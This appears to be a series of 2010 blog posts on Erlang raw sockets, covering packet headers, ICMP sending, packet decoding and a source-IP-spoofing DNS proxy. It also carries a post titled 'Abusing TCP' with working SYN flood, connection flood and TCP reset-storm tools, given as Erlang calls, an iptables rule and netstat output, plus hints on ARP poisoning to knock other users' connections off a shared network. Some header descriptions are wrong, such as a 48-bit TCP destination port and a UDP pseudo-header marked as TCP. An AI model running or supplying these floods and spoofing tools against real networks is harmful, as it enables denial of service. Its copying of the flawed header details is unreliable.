Pages

Thursday, June 24, 2010

Fun with Raw Sockets in Erlang: A Spoofing DNS Proxy

UDP Header

UDP headers are specified as:
  • Source Port:16
  • Destination Port:16
  • Length:16
  • Checksum:16

  • The Source Port is a 2 byte value representing the originating port
  • The Destination Port is the 2 byte value specifying the target port
  • The Length is the size of the UDP header and packet in bytes. The size of the UDP header is 8 bytes.
  • The Checksum algorithm is the same as for TCP, involving the creation of an IP pseuduoheader.
    If the length of the UDP packet is an odd number of bytes, the packet is zero padded with an additional byte only for checksumming purposes.
The equivalent UDP header in Erlang is:
<<SourcePort:16,
DestinationPort:16,
Length:16,
Checksum:16>>
The pseudo-header used for checksumming is:
  • Source Address:32
  • Destination Address:32
  • Zero:8
  • Protocol:8
  • UDP Packet Length:16
  • UDP Header and Payload1:8
  • ...
  • UDP Header and PayloadN:8
  • optional padding:8
  • The Source Address from the IP header
  • The Destination Address from the IP header
  • The Protocol for UDP is 17
  • The UDP Packet Length in bytes, for both the UDP header and payload. The length of the IP pseudo-header is not included.
  • The UDP Header and Payload is the full UDP packet
  • If the UDP packet length is odd, an additional zero'ed byte is included for checksumming purposes. The extra byte is not used in the length computation or sent with the packet.
  • The length of the UDP packet is included in both the IP pseudo-header and the UDP header.
  • The checksum field of the UDP header is set to 0.
In Erlang, the pseudo-header is represented as:
<<SA1:8,SA2:8,SA3:8,SA4:8,  % bytes representing the IP source address
DA1:8,DA2:8,DA3:8,DA4:8,    % bytes representing the IP destination address
0:8,                        % Zero
6:8,                        % Protocol: TCP
UDPlen:16                % UDP packet size in bytes

SourcePort:16,
DestinationPort:16,
UDPlen:16,
0:16,
Data/binary,
0:UDPpad>>                  % UDPpad may be 0 or 8 bits

A Spoofing DNS Proxy

What?

spood is a spoofing DNS proxy with a vaguely obscene name. spood works by accepting DNS queries on localhost and then spoofing the source IP address of the DNS request using the Linux PF_PACKET interface. DNS replies are sniffed off the network and returned to localhost.

Why?

Maybe for using with IP over DNS tunnels?

How?

spood works with procket and epcap.

This Will Probably Be the First Page Returned For Searches For "Erlang Promiscuity"

While spood can run by spoofing its own IP address, it's more fun running it on a hubbed or public wireless network. To allow spood to sniff the network, I added support for setsockopt() to procket as an additional NIF. Promiscuous mode, under Linux, can be activated/deactivated globally by using an ioctl() or per application by using setsockopt(). To enable promiscuous mode, the application needs to call:
setsockopt(socket, SOL_PACKET, PACKET_ADD_MEMBERSHIP, (void *)&mreq, sizeof(mreq))
Though obtaining a PF_PACKET socket requires root privileges, performing the setsockopt() call on the socket does not. mreq is a struct packet_mreq:
struct packet_mreq {
    int            mr_ifindex;    /* interface index */
    unsigned short mr_type;       /* action */
    unsigned short mr_alen;       /* address length */
    unsigned char  mr_address[8]; /* physical layer address */
};
  • mr_ifindex is the interface index returned by doing an ioctl() in host endian format
  • mr_type is set to PACKET_MR_PROMISC in host endian format
  • the reminder of the struct is zero'ed
The Erlang version looks like:
-define(SOL_PACKET, 263).
-define(PACKET_ADD_MEMBERSHIP, 1).
-define(PACKET_DROP_MEMBERSHIP, 2).
-define(PACKET_MR_PROMISC, 1).

promiscuous(Socket, Ifindex) ->
    procket:setsockopt(Socket, ?SOL_PACKET, ?PACKET_ADD_MEMBERSHIP, <<
        Ifindex:32/native,              % mr_ifindex: interface index
        ?PACKET_MR_PROMISC:16/native,   % mr_type: action
        0:16,                           % mr_alen: address length
        0:64                            % mr_address[8]:  physical layer address
        >>).

Sniffing Packets

Sniffing packets involves running procket:recvfrom/2 in a loop. Erlang's pattern matching makes filtering the packets simple. One trick is retrieving the default nameservers in Erlang.
{ok, PL} = inet_parse:resolv(
    proplists:get_value(resolv_conf, inet_db:get_rc(), "/etc/resolv.conf")),
NS = proplists:get_value(nameserver, PL).
inet_db:get_rc() will return the path to the system resolv.conf file. inet_parse has an undocumented function to parse resolv.conf and return the attributes as list of key/value pairs.

Spoofing Packets

Spoofing packets is done by constructing a packet consisting of the Ethernet, IP and UDP header and payload.
dns_query(SourcePort, Data, #state{
    shost = {SM1,SM2,SM3,SM4,SM5,SM6},
    dhost = {DM1,DM2,DM3,DM4,DM5,DM6},
    saddr = {SA1,SA2,SA3,SA4},
    daddr = {DA1,DA2,DA3,DA4}
    }) ->

    Id = 1,
    TTL = 64,

    UDPlen = 8 + byte_size(Data),
    IPlen = 20 + UDPlen,

    IPsum = epcap_net:makesum(
        <<
        % IPv4 header
        4:4, 5:4, 0:8, IPlen:16,
        Id:16, 0:1, 1:1, 0:1,
        0:13, TTL:8, 17:8, 0:16,
        SA1:8, SA2:8, SA3:8, SA4:8,
        DA1:8, DA2:8, DA3:8, DA4:8
        >>
    ),

    UDPpad = case UDPlen rem 2 of
        0 -> 0;
        1 -> 8
    end,

    UDPsum = epcap_net:makesum(
        <<
        SA1:8,SA2:8,SA3:8,SA4:8,
        DA1:8,DA2:8,DA3:8,DA4:8,
        0:8,
        17:8,
        UDPlen:16,

        SourcePort:16,
        53:16,
        UDPlen:16,
        0:16,
        Data/binary,
        0:UDPpad
        >>),

    <<
    % Ethernet header
    DM1:8,DM2:8,DM3:8,DM4:8,DM5:8,DM6:8,
    SM1:8,SM2:8,SM3:8,SM4:8,SM5:8,SM6:8,
    16#08, 16#00,

    % IPv4 header
    4:4, 5:4, 0:8, IPlen:16,
    Id:16, 0:1, 1:1, 0:1,
    0:13, TTL:8, 17:8, IPsum:16,
    SA1:8, SA2:8, SA3:8, SA4:8,
    DA1:8, DA2:8, DA3:8, DA4:8,

    % UDP header
    SourcePort:16,
    53:16,
    UDPlen:16,
    UDPsum:16,
    Data/binary
    >>.

Running spood

Setup isn't all automatic yet (but see the README, maybe this has changed). After everything is compiled, find the MAC and IP address of your client and name server. Then run:
erl -pa ebin deps/*/ebin
1> spood:start("eth0",
    {{16#00,16#aa,16#bb,16#cc,16#dd,16#ee}, {list, [{192,168,100,100}, {192,168,100,101}]}},
    {{16#00,16#11,16#22,16#33,16#44,16#55}, {192,168,100,1}}).
Where:
  • The first argument is your interface device name
  • The second argument is a 2-tuple composed of your source MAC address and a representation of what should be used for your client IP address. Unless you're ARP spoofing or have published the ARP entries yourself, the IP's should be of clients on the network.

    The second argument can be a tuple or a string representing an IP or a tuple consisting of the keyword "list" followed a list of IP addresses. The source IP for each query will be randomly chosen from the list.

  • The third argument is the name server MAC and IP address
Then test it:
$ nslookup
> server 127.0.0.1
Default server: 127.0.0.1
Address: 127.0.0.1#53
> www.google.com
Server:         127.0.0.1
Address:        127.0.0.1#53

Non-authoritative answer:
www.google.com  canonical name = www.l.google.com.
Name:   www.l.google.com
Address: 173.194.33.104
If you happen to be running the sods client, you can use the DNS proxy by using the "-r" option:
sdt -r 127.0.0.1 sshdns.s.example.com
Update: Well, I've tested spood in the wild now and made a few changes. By default, spood will discover the IP addresses on your network and add them to the list of source addresses to spoof. spood now takes a proplist as an argument. However, if no argument is passed, spood will try to figure out your network by:
  • guessing which interface device to use
  • finding the MAC and IP address assigned to the device
  • looking up the MAC address of the name server in the ARP cache
The arguments to spood:start/1 is a proplist consisting of:
  • {dev, string() | undefined}
  • {srcmac, tuple()}
  • {dstmac, tuple()}
  • {saddr, tuple() | string() | discover | {discover, list()} | {list, list()}}
  • {nameserver, tuple() | undefined}

Or call spood:start() to use the defaults.

Sunday, June 20, 2010

Fun with Raw Sockets in Erlang: Abusing TCP

TCP Packet Structure

A TCP header is represented by:
  • Source Port:16
  • Destination Port:48
  • Sequence Number:32
  • Acknowledgement Number:32
  • Data Offset:4
  • Reserved:4
  • Congestion Window Reduced (CWR):1
  • ECN-Echo (ECE):1
  • Urgent (URG):1
  • Acknowledgement (ACK):1
  • Push (PSH):1
  • Reset (RST):1
  • Synchronize (SYN):1
  • Finish (FIN):1
  • Window Size:16
  • TCP Pseudo-Header Checksum:16
  • Urgent Pointer:16
  • Options:0-320
  • The Data offset is the length of the TCP header and in 32-bit words, i.e., multiply the offset by 4 to get the number of bytes.
  • The CWR and ECE flags were added in RFC 3168.
  • The TCP checksum is calculated by forming a pseudo-header from attributes of the IP header prepended to the TCP header and payload. When performing the checksum, the TCP checksum field is set to 0.
  • An offset greater than 5 (20 bytes for the mandatory header elements) indicates the presence of (offset-5)*4 bytes of TCP Options in the header. Since the offset field is 4 bits, the maximum value of the offset field is 15, allowing for up to 40 bytes of options. Options are not used in the examples below.
The equivalent TCP header in Erlang is:
<<SPort:16, DPort:16,
SeqNo:32,
AckNo:32,
Off:4, 0:4, CWR:1, ECE:1, URG:1, ACK:1,
PSH:1, RST:1, SYN:1, FIN:1, Win:16,
Sum:16, Urp:16>>
The pseudo-header can be illustrated as:
  • Source Address:32
  • Destination Address:32
  • Zero:8
  • Protocol:8
  • TCP Header Length:16
  • TCP Header and Payload:1
  • ...
  • TCP Header and Payload:N
  • The Source Address from the IP header.
  • The Destination Address from the IP header.
  • The Protocol as specified by the IP header. For TCP, the value will be 6.
  • The TCP Header Length in bytes. The length of the IP pseudo-header is not included.
  • The TCP Header and Payload contains the full TCP packet.
In Erlang, the IP pseudo-header is represented as:
<<SA1:8,SA2:8,SA3:8,SA4:8,  % bytes representing the IP source address
DA1:8,DA2:8,DA3:8,DA4:8,    % bytes representing the IP destination address
0:8,                        % Zero
6:8,                        % Protocol: TCP
(TCPoff * 4):16>>           % TCP packet size in bytes

Exhausting Server Resources

TCP is stateful, requiring the client and server to allocate resources to manage each phase of the connection. A TCP connection is established by synchronizing the sequence numbers of the client and server.
  • The client sends a 20 byte TCP packet:
    • the SYN bit is set to 1
    • a randomly chosen sequence number
    • the acknowledgment number set to 0
    • no payload
    The client goes into state "SYN_SENT".
  • The server replies with:
    • the SYN bit set to 1
    • the ACK bit set to 1
    • a randomly chosen sequence number
    • the acknowledgement number is set to the client's sequence number, incremented by 1
    • no payload
    The server goes into state "SYN_RECEIVED".
  • The client replies with:
    • the SYN bit set to 0
    • the ACK bit set to 1
    • the sequence number (the acknowledgement number returned by the server)
    • the acknowledgement number, the sequence number of the server incremented by the size in bytes of the payload
    • an optional payload
    The client goes into state "ESTABLISHED"

Each phase of the connection needs to be tracked by the operating system. For example, if the initial SYN packet sent by the client does not result in a response, the client will resend the SYN packet, typically up to 3 times, before returning a timeout error.

On the server, if the SYN ACK is not ACK'ed by the client, the server must periodically attempt to re-send the SYN-ACK packet before freeing the resources allocated to this connection.

The resources required for tracking these connections, although small, can be exhausted either through high demand or a denial of service attack using several simple, well known attacks.
  • SYN flood: Sending a large number of requests to initiate a TCP connection will prevent the server from accepting connections from legitimate clients.
  • connection flood: Usually a client is limited in the number of connections it can open to a server; for example, by the number of available file descriptors. If the client can track the connections statelessly, a single client can overwhelm the server.

Preparation

  • We'll use procket to pass the raw sockets into Erlang. To see how the packets are sent, see this tutorial.

    procket uses the PF_PACKET socket interface, so these examples are Linux specific. I ran them on an Ubuntu 8.04 system. The functions in this source file can be used to send the Erlang binaries.


  • I've tried to make the examples as self-contained as possible, but for parsing the packets and converting them into Erlang records, you'll need a copy of epcap_net.erl and epcap_net.hrl from epcap.

  • On a hubbed network, like public 802.11 networks, you should be able to assign any IP address and act on the replies.

  • If you are on a switched network or on an 802.11 network pretending to be switched (WEP/WPA security), you'll only be able to sniff replies to your assigned IP address. Or you can use ARP poisoning, ettercap works well.

SYN Flood

A SYN flood simply sends a large number of TCP packets with the SYN bit set to a target port. The source port, sequence number and (potentially) source IP address can be randomly assigned. However, the source IP address should be non-existent. Any client listening on that IP will RST the connection when the server SYN ACK's, causing the server to deallocate all resources associated with the embryonic session. syn takes these arguments:
  • Device name
  • Source 3-tuple
    • Source MAC address
    • IP address
    • Source port, can be 0 to randomly choose a port
  • Destination 3-tuple
    • Destination MAC address
    • IP address
    • Source port, can be 0 to randomly choose a port
  • Number of SYN packets to be sent
1> syn:flood("ath0",
        {{16#00,16#15,16#af,16#59,16#08,16#26}, {192,168,213,213}, 0},
        {{16#00,16#16,16#3E,16#E9,16#04,16#06}, {192,168,213,7}, 8080}, 10).
ok
msantos@ecn:~$ netstat -an |grep 8080
tcp        0      0 0.0.0.0:8080            0.0.0.0:*               LISTEN
tcp        0      0 192.168.213.7:8080      192.168.213.213:18868   SYN_RECV
tcp        0      0 192.168.213.7:8080      192.168.213.213:5705    SYN_RECV
tcp        0      0 192.168.213.7:8080      192.168.213.213:60884   SYN_RECV
tcp        0      0 192.168.213.7:8080      192.168.213.213:49723   SYN_RECV
tcp        0      0 192.168.213.7:8080      192.168.213.213:1362    SYN_RECV
tcp        0      0 192.168.213.7:8080      192.168.213.213:53146   SYN_RECV
tcp        0      0 192.168.213.7:8080      192.168.213.213:57667   SYN_RECV
tcp        0      0 192.168.213.7:8080      192.168.213.213:37629   SYN_RECV
tcp        0      0 192.168.213.7:8080      192.168.213.213:7937    SYN_RECV
tcp        0      0 192.168.213.7:8080      192.168.213.213:58975   SYN_RECV

Connection Flood

A connection flood works by sending a number of SYN packets to the destination port. The server will reply with a SYN-ACK. The client monitors the network for any replies from the destination port with the ACK bit set and sends an acknowledgement in response. For an example of this behaviour, see drench, a utility written in C using libnet. The Erlang version is simpler, smaller and much more elegant. On a switched network, you won't be able to sniff the replies to spoofed IP addresses. To run a connection flood, you'll need to adjust your firewall to drop RST packets. Since I'm using Ubuntu, I used the simple firewall interface, ufw.
$ ufw enable
$ iptables -I ufw-before-output -p tcp --tcp-flags RST RST --destination-port 8080 -j DROP
Spawn a process to respond to ACK's. ack takes 2 arguments:
  • Device name
  • Port
For example, if you are listening on the eth0 device for packets with a target port of 8080:
1> spawn(ack, start, ["eth0", 8080]).
<0.34.0>
Then send out SYN packets:
2> syn:flood(). % send out 10 SYN packets
ok
Checking the target host shows a number of connections in the ESTABLISHED state:
msantos@ecn:~$ netstat -an |grep 8080
tcp        0      0 0.0.0.0:8080            0.0.0.0:*               LISTEN
tcp        0      0 192.168.213.7:8080      192.168.213.213:50691   ESTABLISHED
tcp        0      0 192.168.213.7:8080      192.168.213.213:49955   ESTABLISHED
tcp        0      0 192.168.213.7:8080      192.168.213.213:12017   ESTABLISHED
tcp        0      0 192.168.213.7:8080      192.168.213.213:13662   ESTABLISHED
tcp        0      0 192.168.213.7:8080      192.168.213.213:35611   ESTABLISHED
tcp        0      0 192.168.213.7:8080      192.168.213.213:57062   ESTABLISHED
tcp        0      0 192.168.213.7:8080      192.168.213.213:11549   ESTABLISHED
tcp        0      0 192.168.213.7:8080      192.168.213.213:30963   ESTABLISHED
tcp        0      0 192.168.213.7:8080      192.168.213.213:41435   ESTABLISHED
tcp        0      0 192.168.213.7:8080      192.168.213.213:5591    ESTABLISHED

Resetting Connections

TCP reset storms can be used on hubbed networks to bring down other client's TCP connections. I call this peer-to-peer QoS. For comparison, here is another version of rst written in C using libnet. rst takes 2 arguments:
  • Device name
  • IP address to be excluded (to avoid resetting your own connections)
1> rst:start("eth0", {127,0,0,1}).
$ ssh 192.168.213.7
Read from socket failed: Connection reset by peer

Monday, June 14, 2010

Fun with Raw Sockets in Erlang: Sending ICMP Packets

I've covered pinging other hosts before using the IPPROTO_ICMP protocol and raw sockets, all in Erlang.

Now I'd like to go through the exercise of sending ICMP echo packets using the Linux PF_PACKET interface. The process is somewhat tedious and complicated, so this post will reflect this, but it should be helpful since documentation for PF_PACKET tends to be a bit sparse.

Even if you're only interested in the PF_PACKET C interface, this tutorial should be helpful. But you'll have to read a bit and mentally censor the Erlang bits.

Erlang Binaries vs C structs

To provide a direct interface to sendto(), I've added an NIF interface for Erlang in procket.

The procket sendto() interface is system dependent, relying on the layout of your computer's struct sockaddr. struct sockaddr is typically constructed as follows:
struct sockaddr {
    sa_family_t     sa_family;      /* unsigned short int */
    char            sa_data[14];    /* buffer holding data, dependent on socket type */
}
The data held in the sa_data member of struct sockaddr varies based on the different socket types. For example, for a typical internet socket, a struct sockaddr_in socket address is used:
struct sockaddr_in {
    sa_family_t     sin_family;
    in_port_t       sin_port;
    struct          in_addr sin_addr;
    char            sin_zero[8];
}
Of course, these structures will vary by platform. On Linux, aside from a few inscrutable macros, the layout is similar to those shown above. BSD's, such as Mac OS X, add another structure member with the size of the structure:
u_int8_t sin_len
The appearance and placement of this attribute will cause a lot of portability problems for you if you need to get code running on different OS'es. And it's only natural, since in this tutorial we are bypassing the normal library interfaces.

So, just remember, PF_PACKET is pretty much a Linux specific interface, so we will be concentrating on the Linux eccentricities.

An Erlang Interface to sendto()


According the man page, sendto() takes the following arguments:
ssize_t sendto(
        int s,
        const void *buf,
        size_t len,
        int flags,
        const struct sockaddr *to,
        socklen_t tolen
        )
  • s is the file descriptor, representing the socket returned by open().
  • buf is the payload to be sent in the packet.
  • len is the size of the buffer in bytes.
  • flags is the result of OR'ing together integers which affects the behaviour of the socket. Typically, flags is set to 0.
  • struct sockaddr is a buffer based on the type of socket. It is cast to the "generic" sockaddr structure. Different types of socket addresses are, for example, sockaddr_in for Internet sockets, sockaddr_un for Unix (local) sockets and sockaddr_ll for link layer sockets. We'll be looking at sockaddr_in sockets in this section and sockaddr_ll sockets when investigating sending out packets using the PF_PACKET raw socket interface later on.
It's worth noting that
sendto(socket, buf, buflen, flags, NULL, 0)
is equivalent to
send()
and
sendto(socket, buf, buflen, 0, NULL, 0)
is equivelent to
write()
With a bit of tweaking (may have to change the procket NIF a bit), we'll be able to use the sendto() to do both send()'s and write()'s in the future (both can be used when the socket has been already been bound using bind()). The procket Erlang sendto/4 interface looks like this:
sendto(Socket, Packet, Flags, Sockaddr)
Where:
  • Socket is an integer returned from procket:open/1 representing the file descriptor.
  • Packet is a binary holding the packet payload.
  • Flags is the result of OR'ing the socket options. See the sendto() man page for the possible parameters.
  • Sockaddr is an Erlang binary representation of the sockaddr structure for the type of socket in use.

An Example of Using sendto/4

In the original example of sending an ICMP echo packet from Erlang, we (mis-)used gen_udp to send and receive ICMP packets. Here is an example of sending ICMP packets using the sendto/4 NIF: To send the ICMP packet using sendto/4, we must create the struct sockaddr_in as an Erlang binary. In linux/in.h, the structure is defined as:
struct sockaddr_in {
    sa_family_t     sin_family; /* Address family: 2 bytes */
    in_port_t       sin_port;   /* Port number: 2 bytes */
    struct in_addr  sin_addr;   /* Internet address: 4 bytes */

    /* Pad to size of `struct sockaddr'. */
    unsigned char   sin_zero[8];
};
Both sa_family_t and in_port_t are 2 bytes. The total size of the struct is 16 bytes. The Erlang binary used to represent this is:
<<
?PF_INET:16/native,             % sin_family
0:16,                           % sin_port
IP1:8, IP2:8, IP3:8, IP4:8,     % sin_addr
0:64                            % sin_zero
>>
  • The value of the PF_INET macro (or 2) is taken from bits/socket.h. The value of the different PF_* macros is always in native endian format.
  • Since we are sending an ICMP packet, the port has no meaning and is set to 0.
  • IP1 through IP4 refer to the components of an IPv4 address, represented in Erlang as a 4-tuple of bytes such as {192,168,10,1}.
  • The sin_zero member is always set to 8 zero'ed bytes.
The corresponding NIF function can be found in procket.c:
static ERL_NIF_TERM
nif_sendto(ErlNifEnv *env, int argc, const ERL_NIF_TERM argv[])
{
    int sockfd = -1;
    int flags = 0;

    ErlNifBinary buf;
    ErlNifBinary sa;


    if (!enif_get_int(env, argv[0], &sockfd))
        return enif_make_badarg(env);

    if (!enif_inspect_binary(env, argv[1], &buf))
        return enif_make_badarg(env);

    if (!enif_get_int(env, argv[2], &flags))
        return enif_make_badarg(env);

    if (!enif_inspect_binary(env, argv[3], &sa))
        return enif_make_badarg(env);

    if (sendto(sockfd, buf.data, buf.size, flags, (struct sockaddr *)sa.data, sa.size) == -1)
        return enif_make_tuple(env, 2,
            atom_error,
            enif_make_tuple(env, 2,
            enif_make_int(env, errno),
            enif_make_string(env, strerror(errno), ERL_NIF_LATIN1)));

    return atom_ok;
}
The nif_sendto() function takes the Erlang binary and casts it to a sockaddr structure.

Tedium, or the Perils of Constructing Packets by Hand

When requesting a file descriptor using socket(), the PF_PACKET interface allows the user to construct either whole ethernet frames (using the SOCK_RAW type) or cooked packets to which the kernel will prepend ethernet headers (using the SOCK_DGRAM type). I had some problems with SOCK_DGRAM packets which I'll probably talk about in another blog post. But for now, I'll describe how to create ICMP echo packets using the PF_PACKET SOCK_RAW type. To get a file descriptor with the appropriate settings from procket:
{ok, FD} = procket:listen(0, [{protocol, 16#0008}, {type, raw}, {family, packet}])
Notice that, since I'm on a little endian platform, I byte swapped the defintion of ETH_P_IP to big endian format.

Retrieving the Interface Index

To figure out the index of our interface, we need to call an ioctl(). Conveniently, procket provides an NIF ioctl() interface. The C ioctl() interface is defined as:
int ioctl(int d, int request, ...);
  • d is the file descriptor.
  • request is an integer representing a device dependent instruction.
  • The remaining argument to ioctl() is usually a buffer holding a device dependent structure. In this case, we will pass an ifreq structure. The buffer acts as both the input and output for the ioctl.
struct ifreq, as defined in net/if.h, is composed of 2 unions.
struct ifreq
{
# define IFHWADDRLEN    6
# define IFNAMSIZ   IF_NAMESIZE
    union
    {
        char ifrn_name[IFNAMSIZ];   /* Interface name, e.g. "en0".  */
    } ifr_ifrn;

    union
    {
        struct sockaddr ifru_addr;
        struct sockaddr ifru_dstaddr;
        struct sockaddr ifru_broadaddr;
        struct sockaddr ifru_netmask;
        struct sockaddr ifru_hwaddr;
        short int ifru_flags;
        int ifru_ivalue;
        int ifru_mtu;
        struct ifmap ifru_map;
        char ifru_slave[IFNAMSIZ];  /* Just fits the size */
        char ifru_newname[IFNAMSIZ];
        __caddr_t ifru_data;
    } ifr_ifru;
};
But to get the interface index, we're only interested in these struct members:
struct ifreq {
    char ifrn_name[16];
    int  ifr_ifindex;
}
# define ifr_name   ifr_ifrn.ifrn_name  /* interface name   */
# define ifr_ifindex    ifr_ifru.ifru_ivalue    /* interface index      */
In Erlang terms, we can pass in the full 32 byte structure (only 4 bytes of the second union is actually used). On input, if we are interested in using the "eth0" interface:
<<
"eth0", 96:0,   % ifrn_name, 16 bytes
0:128           % ifr_ifru union for the response, 16 bytes
>>
On output:
<<
"eth0", 96:0,   % ifrn_name, 16 bytes
Ifr:32,         % interface index
0:96            % unused
>>
So, to retrieve the value in Erlang:
{ok, <<_Ifname:16/bytes, Ifr:32, _/binary>>} = procket:ioctl(S,
    ?SIOCGIFINDEX,
    list_to_binary([
            Dev, <<0:((16*8) - (length(Dev)*8)), 0:128>>
        ])),
  • Dev is a list holding the device name, such as "eth0" or "ath0".
  • Ifr is the part of the binary holding the interface index returned by the ioctl().
The corresponding NIF function can be found in procket.c:
static ERL_NIF_TERM
nif_ioctl(ErlNifEnv *env, int argc, const ERL_NIF_TERM argv[])
{
    int s = -1;
    int req = 0;
    ErlNifBinary ifr;


    if (!enif_get_int(env, argv[0], &s))
        return enif_make_badarg(env);

    if (!enif_get_int(env, argv[1], &req))
        return enif_make_badarg(env);

    if (!enif_inspect_binary(env, argv[2], &ifr))
        return enif_make_badarg(env);

    if (!enif_realloc_binary(env, &ifr, ifr.size))
        return enif_make_badarg(env);

    if (ioctl(s, req, ifr.data) < 0)
        return error_tuple(env, strerror(errno));

    return enif_make_tuple(env, 2,
            atom_ok,
            enif_make_binary(env, &ifr));
}
The nif_ioctl() function takes, as arguments, the socket descriptor and a binary buffer representing the ifreq structure. The binary is made writable, passed to ioctl() and returned to the caller.

Preparing the ICMP Packet

Unlike the other examples of sending an ICMP packet, we'll need to prepare more than the ICMP header and payload. Because we are sending directly out on the interface, we have to add the ethernet and IPv4 header.

Ethernet Header

The ethernet header is composed of 6 bytes each for the destination and source MAC addresses and two bytes for the ethernet type.
  • Destination MAC Address:48
  • Source MAC Address:48
  • Type:16
The list of ethernet types can be found in linux/if_ether.h. The Erlang specification for this message format would be (assuming the destination mac address is 00:aa:bb:cc:dd:ee and the source mac address is 00:11:22:33:44:55):
<<
16#00, 16#aa: 16#bb, 16#cc, 16#dd, 16#ee,   % destination MAC address
16#00, 16#11: 16#22, 16#33, 16#44, 16#55,   % source MAC address
16#08, 16#00                                % type: ETH_P_IP
>>

IPv4 Header

The IPv4 header is:
  • Version:4
  • IHL:4
  • ToS:8
  • Total Length:16
  • Identification:16
  • Flags:3
  • Fragment Offset:13
  • Time to Live:8
  • Protocol:8
  • Checksum:16
  • Source Address:32
  • Destination Address:32
I won't bother to explain each field. See RFC 791 for details. Constructing an Erlang IPv4 header involves declaring the header once with the checksum field set to zero, performing a checksum on the header, then incorporating the checksum in the 2 byte checksum field.
IPv4 = <<
4:4, 5:4, 0:8, 84:16,
Id:16, 0:1, 1:1, 0:1,
0:13, TTL:8, ?IPPROTO_ICMP:8, 0:16,
SA1:8, SA2:8, SA3:8, SA4:8,
DA1:8, DA2:8, DA3:8, DA4:8
>>.
  • Id is a hint for reconstructing fragmented packets by the receiving host.
  • IPPROTO_ICMP is a macro set to 1. The value is defined in netinet/in.h.
  • The checksum field is set to 0 for checksumming purposes. After the checksum has been calculated, the resulting value is placed in this field.
  • The TTL is set to 64. Packets with a time to live of 0 are discarded.
  • SA1 to SA4 are the bytes representing the IPv4 source address.
  • DA1 to DA4 are the bytes representing the IPv4 destination address.

ICMP Header

I won't go over constructing the ICMP header, since it's been covered here.

Finally Sending the Packet

We have a raw PF_PACKET socket, the index of the interface to use the sendto() operation and a binary representing the ICMP packet and payload. We have the pieces in place now to send out the ping. We could bind() the interface and then use write() or send() to push out packets. In this example, we'll specify the link layer socket address structure holding the routing information for each packet.
struct sockaddr_ll {
    unsigned short sll_family;   /* Always AF_PACKET */
    unsigned short sll_protocol; /* Physical layer protocol */
    int            sll_ifindex;  /* Interface number */
    unsigned short sll_hatype;   /* Header type */
    unsigned char  sll_pkttype;  /* Packet type */
    unsigned char  sll_halen;    /* Length of address */
    unsigned char  sll_addr[8];  /* Physical layer address */
};
  • sll_family is, as the comment says, always PF_PACKET in host endian format.
  • sll_protocol is usually either ETH_P_ALL or ETH_P_IP. It is passed in big endian format but is defined in the header file in host endian format. For many linux installs, this will be little endian, so it will need to be byte swapped.
  • sll_halen is the length of the physical layer address. Although there are up to 8 bytes allowed for for the physical layer address, only 6 bytes are used for ethernet.
<<
?PF_PACKET:16/native,   % sll_family: PF_PACKET
16#0:16,             % sll_protocol: Physical layer protocol, big endian
Interface:32/native,    % sll_ifindex: Interface number
0:16,                   % sll_hatype: Header type
0:8,                    % sll_pkttype: Packet type
0:8,                    % sll_halen: address length

0:8,                    % sll_addr[8]: physical layer address
0:8,                    % sll_addr[8]: physical layer address
0:8,                    % sll_addr[8]: physical layer address
0:8,                    % sll_addr[8]: physical layer address
0:8,                    % sll_addr[8]: physical layer address
0:8,                    % sll_addr[8]: physical layer address

0:8,                    % sll_addr[8]: physical layer address
0:8                     % sll_addr[8]: physical layer address
>>
From trial and error, only sll_ifindex needs to be set. Even the sll_family does not seem be required in this context, although the man page suggests it is required. (sll_halen and sll_addr values would otherwise be set to 6 for sll_halen and the first 6 bytes of sll_addr to the MAC address of the destination ethernet device.) The source and destination appear to be read directly from the ethernet header. The pkt module will construct an ethernet frame and send it on the network. The function interface is a bit cumbersome, forcing you to specify the MAC and IP address of both the source and destination, but allows spoofing packets from different IP/MAC combinations.
pkt:ping(
    {"eth0", {16#00,16#11,16#22,16#33,16#44,16#55}, {192,168,213,213}},
    {{16#00,16#aa,16#bb,16#cc,16#dd,16#ee}, {192,168,213,1}}
).
The first argument is a 3-tuple representing the network interface, source MAC and IP address. The second argument is a 2-tuple representing the destination MAC and IP address. Looking at the output from tcpdump:
# tcpdump -n -s 0 -XX -i ath0
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on ath0, link-type EN10MB (Ethernet), capture size 65535 bytes
18:58:40.077600 IP 192.168.213.213 > 192.168.213.1: ICMP echo request, id 7338, seq 0, length 64
        0x0000:  0011 2233 4455 00aa bbcc ddee 0800 4500  ....>....Y.&..E.
        0x0010:  0054 1caa 4000 4001 f1d6 c0a8 d5d5 c0a8  .T..@.@.........
        0x0020:  d501 0800 ea06 1caa 0000 0000 04fc 0007  ................
        0x0030:  2ba0 0001 2e02 2021 2223 2425 2627 2829  +......!"#$%&'()
        0x0040:  2a2b 2c2d 2e2f 3031 3233 3435 3637 3839  *+,-./0123456789
        0x0050:  3a3b 3c3d 3e3f 4041 4243 4445 4647 4849  :;<=>?@ABCDEFGHI
        0x0060:  4a4b                                     JK
18:58:40.078464 IP 192.168.213.1 > 192.168.213.213: ICMP echo reply, id 7338, seq 0, length 64
        0x0000:  00aa bbcc ddee 0011 2233 4455 0800 4500  ...Y.&....>...E.
        0x0010:  0054 86ee 0000 4001 c792 c0a8 d501 c0a8  .T....@.........
        0x0020:  d5d5 0000 f206 1caa 0000 0000 04fc 0007  ................
        0x0030:  2ba0 0001 2e02 2021 2223 2425 2627 2829  +......!"#$%&'()
        0x0040:  2a2b 2c2d 2e2f 3031 3233 3435 3637 3839  *+,-./0123456789
        0x0050:  3a3b 3c3d 3e3f 4041 4243 4445 4647 4849  :;<=>?@ABCDEFGHI
        0x0060:  4a4b                                     JK

Friday, June 4, 2010

Fun with Raw Sockets in Erlang: Decoding Packets

Reading from the network using PF_PACKET will return the packets as binary data.

Parsing the packet is easy to do using Erlang's pattern matching. epcap has some functions to convert the binaries into records. We can use the same functions to decapsulate packets returned from procket.

For example, here is the output from a ping:
=INFO REPORT==== 4-Jun-2010::12:50:55 ===
    source_macaddr: "0:15:AF:xx:xx:xx"
    source_address: {192,168,213,213}
    source_port: []
    destination_macaddr: "0:16:B6:xx:xx:xx"
    destination_address: {67,195,160,76}
    destination_port: []
    protocol: icmp
    protocol_header: [{type,8},{code,0}]
    payload_bytes: 56
    payload: "...L............................ !\"#$%&'()*+,-./01234567"
The code is a modified version of sniff that is distributed with epcap. To compile the code, you'll need a copy of epcap_net.hrl and to run it, both the procket and epcap beam files will have to be in your path. Using the "-pa" option, something like:
erl -pa /path/to/procket/ebin -pa /patch/to/epcap/ebin